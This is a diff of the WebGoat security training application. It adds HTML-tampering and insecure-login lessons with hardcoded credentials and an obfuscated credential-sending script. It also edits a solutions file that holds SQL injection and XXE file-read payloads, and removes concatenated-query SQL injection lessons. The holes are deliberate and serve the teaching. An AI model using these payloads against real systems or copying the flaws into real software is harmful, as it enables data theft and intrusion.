</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td><h5>Subtotal</h5></td>
|
||||
<td class="text-right"><h5><strong><span id="subtotal">$2999.99</span></strong></h5>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td><h5>Shipping costs</h5></td>
|
||||
<td class="text-right"><h5><strong>$0.00</strong></h5>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td><h3>Total</h3></td>
|
||||
<td class="text-right"><h3><strong><span id="totalAmount">$2999.99</span></strong></h3>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td>
|
||||
<button type="button" class="btn btn-default">
|
||||
<span class="glyphicon glyphicon-shopping-cart"></span> Continue Shopping
|
||||
</button>
|
||||
</td>
|
||||
<td>
|
||||
<div id="checkout">
|
||||
<button type="submit" class="btn btn-success">
|
||||
Checkout <span class="glyphicon glyphicon-play"></span>
|
||||
</button>
|
||||
</div>
|
||||
</td>
|
||||
<input id="Total" name="Total" type="HIDDEN" value="2999.99"/>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<br/><br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:HtmlTampering_Mitigation.adoc"></div>
|
||||
</div>
|
||||
</html>
|
@ -0,0 +1,9 @@
|
||||
html-tampering.title=HTML tampering
|
||||
|
||||
|
||||
html-tampering.tamper.success=Well done, you just bought a TV at a discount
|
||||
html-tampering.tamper.failure=This is too expensive... You need to buy at a cheaper cost!
|
||||
|
||||
hint1=Try to change the number of items and see what is happening
|
||||
hint2=Is the price part of the HTML request?
|
||||
hint3=Intercept the request and manipulate the price before submitting it.
|
Binary file not shown.
After Width: | Height: | Size: 3.5 KiB |
@ -0,0 +1,8 @@
|
||||
|
||||
== Concept
|
||||
Browsers generally offer many options of editing the displayed content. Developers
|
||||
therefore must be aware that the values sent by the user may have been tampered with.
|
||||
|
||||
== Goals
|
||||
* The user should have a basic understanding of HTML
|
||||
* The user will be able to exploit editing front end of website
|
@ -0,0 +1,14 @@
|
||||
=== Mitigation
|
||||
|
||||
In this simple example you noticed that the price is calculated server side and send to the server. The server
|
||||
accepted the input as a given and did not calculate the price again. One of the mitigations in this case is to look up
|
||||
the price of the television in your database and calculate the total price again.
|
||||
|
||||
|
||||
In a real application you should never rely on client side validation it is important to verify all the input
|
||||
send by the client. Always remember: **NEVER TRUST INPUT SEND BY A CLIENT.**
|
||||
|
||||
''''
|
||||
==== References
|
||||
|
||||
https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet
|
@ -0,0 +1,2 @@
|
||||
=== Try it yourself
|
||||
In an online store you ordered a new TV, try to buy one or more TVs for a lower price.
|
@ -9,28 +9,4 @@
|
||||
<version>8.0-SNAPSHOT</version>
|
||||
</parent>
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.asciidoctor</groupId>
|
||||
<artifactId>asciidoctor-maven-plugin</artifactId>
|
||||
<version>1.5.3</version>
|
||||
|
||||
<executions>
|
||||
<execution>
|
||||
<id>output-html</id>
|
||||
<phase>generate-resources</phase>
|
||||
<goals>
|
||||
<goal>process-asciidoc</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<backend>html</backend>
|
||||
<sourceDirectory>src/main/resources/lessonPlans/en/</sourceDirectory>
|
||||
</configuration>
|
||||
</execution>
|
||||
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</project>
|
34
webgoat-lessons/insecure-login/pom.xml
Executable file
34
webgoat-lessons/insecure-login/pom.xml
Executable file
@ -0,0 +1,34 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>insecure-login</artifactId>
|
||||
<packaging>jar</packaging>
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>8.0-SNAPSHOT</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-test</artifactId>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.security</groupId>
|
||||
<artifactId>spring-security-test</artifactId>
|
||||
<version>4.1.3.RELEASE</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>junit</groupId>
|
||||
<artifactId>junit</artifactId>
|
||||
<version>${junit.version}</version>
|
||||
<type>jar</type>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
|
||||
</dependencies>
|
||||
|
||||
</project>
|
@ -0,0 +1,63 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author WebGoat
|
||||
* @version $Id: $Id
|
||||
* @since October 12, 2016
|
||||
*/
|
||||
public class InsecureLogin extends NewLesson {
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.INSECURE_COMMUNICATION;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getHints() {
|
||||
return Lists.newArrayList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer getDefaultRanking() {
|
||||
return 1;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "insecure-login.title";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getId() {
|
||||
return "InsecureLogin";
|
||||
}
|
||||
}
|
@ -0,0 +1,59 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
||||
* for free software projects.
|
||||
*
|
||||
* For details, please see http://webgoat.github.io
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
@AssignmentPath("/InsecureLogin/task")
|
||||
public class InsecureLoginTask extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
public
|
||||
@ResponseBody
|
||||
AttackResult completed(@RequestParam String username, @RequestParam String password) throws IOException {
|
||||
if (username.toString().equals("CaptainJack") && password.toString().equals("BlackPearl")) {
|
||||
return trackProgress(success().build());
|
||||
}
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
}
|
45
webgoat-lessons/insecure-login/src/main/resources/html/InsecureLogin.html
Executable file
45
webgoat-lessons/insecure-login/src/main/resources/html/InsecureLogin.html
Executable file
@ -0,0 +1,45 @@
|
||||
<!DOCTYPE html>
|
||||
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:InsecureLogin_Intro.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- stripped down without extra comments -->
|
||||
<div class="adoc-content" th:replace="doc:InsecureLogin_Task.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<script th:src="@{/lesson_js/credentials.js}"
|
||||
language="JavaScript"></script>
|
||||
<form class="attack-form" accept-charset="UNKNOWN" name="task"
|
||||
method="POST"
|
||||
action="#attack/307/100"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<!---
|
||||
<input type="hidden" value="" name="username" id="SecretUsername"/>
|
||||
<input type="hidden" value="" name="password" id="SecretPassword"/>
|
||||
<input type="button" value="Log in" onpress="submit_secret_credentials()"/>-->
|
||||
<button onclick="submit_secret_credentials()">Log in</button>
|
||||
|
||||
</form>
|
||||
<br></br>
|
||||
<form class="attack-form" accept-charset="UNKNOWN" name="task"
|
||||
method="POST"
|
||||
action="/WebGoat/InsecureLogin/task"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
|
||||
<input type="text" value="" name="username" placeholder="username"/>
|
||||
<input type="password" value="" name="password" placeholder="password" />
|
||||
<input type="submit" value="Submit" />
|
||||
|
||||
</form>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
</html>
|
@ -0,0 +1,4 @@
|
||||
insecure-login.title=Insecure Login
|
||||
|
||||
insecure-login.intercept.success=Welcome, CaptainJack!
|
||||
insecure-login.intercept.failure=Wrong username or password
|
6
webgoat-lessons/insecure-login/src/main/resources/js/credentials.js
Executable file
6
webgoat-lessons/insecure-login/src/main/resources/js/credentials.js
Executable file
@ -0,0 +1,6 @@
|
||||
function submit_secret_credentials() {
|
||||
var xhttp = new XMLHttpRequest();
|
||||
xhttp['open']('POST', '#attack/307/100', true);
|
||||
//sending the request is obfuscated, to descourage js reading
|
||||
var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]}))
|
||||
}
|
@ -0,0 +1,7 @@
|
||||
|
||||
== Concept
|
||||
Encryption is a very inportant tool for secure communication. In this lesson, we will find out, why it should always be employed when sending sensitive data.
|
||||
|
||||
== Goals
|
||||
* The user should have a basic understanding of packet sniffer usage
|
||||
* The user will be able to intercept and read an unencrypted requests
|
@ -0,0 +1,4 @@
|
||||
=== Let's try
|
||||
Click the "log in" button to send a request containing login credentials of another user.
|
||||
Then, write these credentials into the appropriate fields and submit to confirm.
|
||||
Try using a packet sniffer to intercept the request.
|
@ -14,16 +14,21 @@
|
||||
</parent>
|
||||
|
||||
<modules>
|
||||
<module>bypass-restrictions</module>
|
||||
<module>challenge</module>
|
||||
<module>client-side-filtering</module>
|
||||
<module>cross-site-scripting</module>
|
||||
<module>html-tampering</module>
|
||||
<module>http-basics</module>
|
||||
<module>http-proxies</module>
|
||||
<module>insecure-login</module>
|
||||
<module>jwt</module>
|
||||
<module>sql-injection</module>
|
||||
<module>xxe</module>
|
||||
<module>idor</module>
|
||||
<module>vulnerable-components</module>
|
||||
<!-- uncomment below to include lesson template in build, also uncomment the dependency in webgoat-server/pom.xml to have it run in the project fully -->
|
||||
<!--<module>webgoat-lesson-template</module>-->
|
||||
</modules>
|
||||
|
||||
<dependencies>
|
||||
@ -33,11 +38,19 @@
|
||||
<version>${project.version}</version>
|
||||
<scope>provided</scope>
|
||||
<type>jar</type>
|
||||
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
|
||||
the easiest way to stop the autoconfiguration of Spring Boot -->
|
||||
<exclusions>
|
||||
<exclusion>
|
||||
<groupId>de.flapdoodle.embed</groupId>
|
||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
||||
</exclusion>
|
||||
</exclusions>
|
||||
</dependency>
|
||||
<!--<dependency>-->
|
||||
<!--<groupId>org.apache.commons</groupId>-->
|
||||
<!--<artifactId>commons-exec</artifactId>-->
|
||||
<!--<version>1.3</version>-->
|
||||
<!--<groupId>org.apache.commons</groupId>-->
|
||||
<!--<artifactId>commons-exec</artifactId>-->
|
||||
<!--<version>1.3</version>-->
|
||||
<!--</dependency>-->
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
@ -45,6 +58,14 @@
|
||||
<version>${project.version}</version>
|
||||
<classifier>tests</classifier>
|
||||
<scope>test</scope>
|
||||
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
|
||||
the easiest way to stop the autoconfiguration of Spring Boot -->
|
||||
<exclusions>
|
||||
<exclusion>
|
||||
<groupId>de.flapdoodle.embed</groupId>
|
||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
||||
</exclusion>
|
||||
</exclusions>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>junit</groupId>
|
||||
@ -70,6 +91,12 @@
|
||||
<version>4.1.3.RELEASE</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.github.fakemongo</groupId>
|
||||
<artifactId>fongo</artifactId>
|
||||
<version>2.1.0</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.owasp.encoder</groupId>
|
||||
<artifactId>encoder</artifactId>
|
||||
@ -119,6 +146,6 @@
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</plugins>
|
||||
</build>
|
||||
</project>
|
||||
|
@ -14,7 +14,7 @@ Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from
|
||||
|
||||
## XXE ##
|
||||
|
||||
Simple <?xml version="1.0" standalone="yes" ?><!DOCTYPE comment [<!ENTITY root SYSTEM "file:///"> ]><comment> <text>&root;</text><password>test</password></comment>
|
||||
Simple - <?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>
|
||||
|
||||
Modern Rest Framework - change content type to: Content-Type: application/xml &&
|
||||
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><user> <username>&root;</username><password>test</password></user>
|
||||
|
@ -1,220 +0,0 @@
|
||||
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.IOException;
|
||||
import java.sql.*;
|
||||
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* For details, please see http://webgoat.github.io
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
@AssignmentPath("/SqlInjection/attack5a")
|
||||
public class SqlInjectionLesson5a extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
public @ResponseBody AttackResult completed(@RequestParam String account, HttpServletRequest request) throws IOException {
|
||||
return injectableQuery(account);
|
||||
}
|
||||
|
||||
protected AttackResult injectableQuery(String accountName)
|
||||
{
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
||||
String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
|
||||
|
||||
try
|
||||
{
|
||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
ResultSet results = statement.executeQuery(query);
|
||||
|
||||
if ((results != null) && (results.first() == true))
|
||||
{
|
||||
ResultSetMetaData resultsMetaData = results.getMetaData();
|
||||
StringBuffer output = new StringBuffer();
|
||||
|
||||
output.append(writeTable(results, resultsMetaData));
|
||||
results.last();
|
||||
|
||||
// If they get back more than one user they succeeded
|
||||
if (results.getRow() >= 6)
|
||||
{
|
||||
return trackProgress(success().feedback("sql-injection.5a.success").feedbackArgs(output.toString()).build());
|
||||
} else {
|
||||
return trackProgress(failed().output(output.toString()).build());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return trackProgress(failed().feedback("sql-injection.5a.no.results").build());
|
||||
|
||||
}
|
||||
} catch (SQLException sqle)
|
||||
{
|
||||
|
||||
return trackProgress(failed().output(sqle.getMessage()).build());
|
||||
}
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
|
||||
}
|
||||
}
|
||||
|
||||
public String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
|
||||
SQLException
|
||||
{
|
||||
int numColumns = resultsMetaData.getColumnCount();
|
||||
results.beforeFirst();
|
||||
StringBuffer t = new StringBuffer();
|
||||
t.append("<p>");
|
||||
|
||||
if (results.next())
|
||||
{
|
||||
for (int i = 1; i < (numColumns + 1); i++)
|
||||
{
|
||||
t.append(resultsMetaData.getColumnName(i));
|
||||
t.append(", ");
|
||||
}
|
||||
|
||||
t.append("<br />");
|
||||
results.beforeFirst();
|
||||
|
||||
while (results.next())
|
||||
{
|
||||
|
||||
for (int i = 1; i < (numColumns + 1); i++)
|
||||
{
|
||||
t.append(results.getString(i));
|
||||
t.append(", ");
|
||||
}
|
||||
|
||||
t.append("<br />");
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
t.append ("Query Successful; however no data was returned from this query.");
|
||||
}
|
||||
|
||||
t.append("</p>");
|
||||
return (t.toString());
|
||||
}
|
||||
//
|
||||
// protected Element parameterizedQuery(WebSession s)
|
||||
// {
|
||||
// ElementContainer ec = new ElementContainer();
|
||||
//
|
||||
// ec.addElement(getLabelManager().get("StringSqlInjectionSecondStage"));
|
||||
// if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
|
||||
// {
|
||||
// getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
|
||||
// return (injectableQuery(s));
|
||||
// }
|
||||
//
|
||||
// ec.addElement(new BR());
|
||||
//
|
||||
// try
|
||||
// {
|
||||
// Connection connection = DatabaseUtilities.getConnection(s);
|
||||
//
|
||||
// ec.addElement(makeAccountLine(s));
|
||||
//
|
||||
// String query = "SELECT * FROM user_data WHERE last_name = ?";
|
||||
// ec.addElement(new PRE(query));
|
||||
//
|
||||
// try
|
||||
// {
|
||||
// PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
// ResultSet.CONCUR_READ_ONLY);
|
||||
// statement.setString(1, accountName);
|
||||
// ResultSet results = statement.executeQuery();
|
||||
//
|
||||
// if ((results != null) && (results.first() == true))
|
||||
// {
|
||||
// ResultSetMetaData resultsMetaData = results.getMetaData();
|
||||
// ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
|
||||
// results.last();
|
||||
//
|
||||
// // If they get back more than one user they succeeded
|
||||
// if (results.getRow() >= 6)
|
||||
// {
|
||||
// makeSuccess(s);
|
||||
// }
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// ec.addElement(getLabelManager().get("NoResultsMatched"));
|
||||
// }
|
||||
// } catch (SQLException sqle)
|
||||
// {
|
||||
// ec.addElement(new P().addElement(sqle.getMessage()));
|
||||
// }
|
||||
// } catch (Exception e)
|
||||
// {
|
||||
// s.setMessage(getLabelManager().get("ErrorGenerating") + this.getClass().getName());
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
//
|
||||
// return (ec);
|
||||
// }
|
||||
//
|
||||
// protected Element makeAccountLine(WebSession s)
|
||||
// {
|
||||
// ElementContainer ec = new ElementContainer();
|
||||
// ec.addElement(new P().addElement(getLabelManager().get("EnterLastName")));
|
||||
//
|
||||
// accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
|
||||
// Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
|
||||
// ec.addElement(input);
|
||||
//
|
||||
// Element b = ECSFactory.makeButton(getLabelManager().get("Go!"));
|
||||
// ec.addElement(b);
|
||||
//
|
||||
// return ec;
|
||||
//
|
||||
// }
|
||||
|
||||
|
||||
|
||||
}
|
@ -1,224 +0,0 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.IOException;
|
||||
import java.sql.*;
|
||||
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* For details, please see http://webgoat.github.io
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
@AssignmentPath("/SqlInjection/attack5b")
|
||||
public class SqlInjectionLesson5b extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
public @ResponseBody AttackResult completed(@RequestParam String userid, HttpServletRequest request) throws IOException {
|
||||
return injectableQuery(userid);
|
||||
|
||||
}
|
||||
|
||||
protected AttackResult injectableQuery(String accountName)
|
||||
{
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
||||
String query = "SELECT * FROM user_data WHERE userid = " + accountName;
|
||||
|
||||
try
|
||||
{
|
||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
ResultSet results = statement.executeQuery(query);
|
||||
|
||||
if ((results != null) && (results.first() == true))
|
||||
{
|
||||
ResultSetMetaData resultsMetaData = results.getMetaData();
|
||||
StringBuffer output = new StringBuffer();
|
||||
|
||||
output.append(writeTable(results, resultsMetaData));
|
||||
results.last();
|
||||
|
||||
// If they get back more than one user they succeeded
|
||||
if (results.getRow() >= 6)
|
||||
{
|
||||
return trackProgress(success().feedback("sql-injection.5b.success").feedbackArgs(output.toString()).build());
|
||||
} else {
|
||||
return trackProgress(failed().output(output.toString()).build());
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
return trackProgress(failed().feedback("sql-injection.5b.no.results").build());
|
||||
|
||||
// output.append(getLabelManager().get("NoResultsMatched"));
|
||||
}
|
||||
} catch (SQLException sqle)
|
||||
{
|
||||
|
||||
return trackProgress(failed().output(sqle.getMessage()).build());
|
||||
}
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
|
||||
}
|
||||
}
|
||||
|
||||
public String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
|
||||
SQLException
|
||||
{
|
||||
int numColumns = resultsMetaData.getColumnCount();
|
||||
results.beforeFirst();
|
||||
StringBuffer t = new StringBuffer();
|
||||
t.append("<p>");
|
||||
|
||||
if (results.next())
|
||||
{
|
||||
for (int i = 1; i < (numColumns + 1); i++)
|
||||
{
|
||||
t.append(resultsMetaData.getColumnName(i));
|
||||
t.append(", ");
|
||||
}
|
||||
|
||||
t.append("<br />");
|
||||
results.beforeFirst();
|
||||
|
||||
while (results.next())
|
||||
{
|
||||
|
||||
for (int i = 1; i < (numColumns + 1); i++)
|
||||
{
|
||||
t.append(results.getString(i));
|
||||
t.append(", ");
|
||||
}
|
||||
|
||||
t.append("<br />");
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
t.append ("Query Successful; however no data was returned from this query.");
|
||||
}
|
||||
|
||||
t.append("</p>");
|
||||
return (t.toString());
|
||||
}
|
||||
//
|
||||
// protected Element parameterizedQuery(WebSession s)
|
||||
// {
|
||||
// ElementContainer ec = new ElementContainer();
|
||||
//
|
||||
// ec.addElement(getLabelManager().get("StringSqlInjectionSecondStage"));
|
||||
// if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
|
||||
// {
|
||||
// getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
|
||||
// return (injectableQuery(s));
|
||||
// }
|
||||
//
|
||||
// ec.addElement(new BR());
|
||||
//
|
||||
// try
|
||||
// {
|
||||
// Connection connection = DatabaseUtilities.getConnection(s);
|
||||
//
|
||||
// ec.addElement(makeAccountLine(s));
|
||||
//
|
||||
